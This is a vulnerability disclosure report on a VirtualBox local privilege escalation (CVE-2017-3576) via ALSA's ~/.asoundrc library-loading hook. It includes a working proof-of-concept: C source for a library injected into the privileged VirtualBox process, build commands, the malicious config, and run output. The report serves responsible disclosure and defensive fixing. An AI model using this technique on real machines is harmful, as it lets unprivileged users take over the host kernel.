VirtualBox: unprivileged host user -> host kernel privesc via ALSA config CVE-2017-3576 This is another way to escalate from an unprivileged userspace process into the VirtualBox process, which has an open file descriptor to the privileged device /dev/vboxdrv and can use that to compromise the host kernel. The issue is that, for VMs with ALSA audio, the privileged VM host process loads libasound, which parses ALSA configuration files, including one at ~/.asoundrc. ALSA is not designed to run in a setuid context and therefore deliberately permits loading arbitrary shared libraries via dlopen(). To reproduce, on a normal Ubuntu desktop installation with VirtualBox installed, first configure a VM with ALSA audio, then (where ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM): ~$ cd /tmp /tmp$ cat > evil_vbox_lib.c #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { if (strcmp(program_invocation_short_name, "VirtualBox")) return; prctl(PR_SET_DUMPABLE, 1); printf("running in pid %d\n", getpid()); printf("searching for vboxdrv file descriptor in current process...\n"); char linkbuf[1000]; char *needle = "/dev/vboxdrv"; for (int i=0; i<1000; i++) { char linkpath[1000]; sprintf(linkpath, "/proc/self/fd/%d", i); ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1); if (linklen == -1) continue; if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) { printf("found it, fd %d is /dev/vboxdrv\n", i); } } _exit(0); } /tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99 /tmp$ cat > ~/.asoundrc hook_func.pulse_load_if_running { lib "/tmp/evil_vbox_lib.so" func "conf_pulse_hook_load_if_running" } /tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c running in pid 8910 searching for vboxdrv file descriptor in current process... found it, fd 7 is /dev/vboxdrv /tmp$ rm ~/.asoundrc I believe that the ideal way to fix this would involve running libasound, together with other code that doesn't require elevated privileges - which would ideally be all userland code -, in an unprivileged process. However, for now, moving only the audio output handling into an unprivileged process might also do the job; I haven't yet checked whether there are more libraries VirtualBox loads that permit loading arbitrary libraries into the VirtualBox process. You could probably theoretically also fix this by modifying libasound to suppress dangerous configuration directives in ~/.asoundrc, but I believe that that would be brittle and hard to maintain. Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: jannh